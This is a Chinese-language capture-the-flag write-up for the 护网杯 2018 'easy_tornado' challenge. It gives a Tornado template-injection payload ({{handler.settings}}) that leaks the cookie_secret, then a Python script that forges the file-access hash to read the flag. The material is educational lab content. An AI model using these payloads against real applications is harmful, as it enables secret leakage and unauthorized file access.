[护网杯 2018]easy_tornado
进入三个文件
/flag.txt
flag in /fllllllllllllag
file?filename=/flag.txt&filehash=9053c61f6b76e014b1e003957ee5b546
/welcome.txt
render
file?filename=/welcome.txt&filehash=7d2c2069a844d7a93c2d6ee197618bd6
/hints.txt
md5(cookie_secret+md5(filename))
file?filename=/hints.txt&filehash=b01fb2c2497da3d0979b7965d57a95dc
猜测payload
file?filename=/fllllllllllllag&filehash=`md5(cookie_secret+md5(/fllllllllllllag))`
现在主要就是找cookie_secret
render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用,从render
可以猜测是模板注入
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量
payload
error?msg={{handler.settings}}
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '591f8ab1-795d-4d61-9975-6da84c69a663'}
用脚本跑得到filehash
import hashlib
hash = hashlib.md5()
filename='/fllllllllllllag'
cookie_secret="591f8ab1-795d-4d61-9975-6da84c69a663"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
610463dc2fc8906a2682dd82ca291cec
最终payload
file?filename=/fllllllllllllag&filehash=610463dc2fc8906a2682dd82ca291cec
得到flag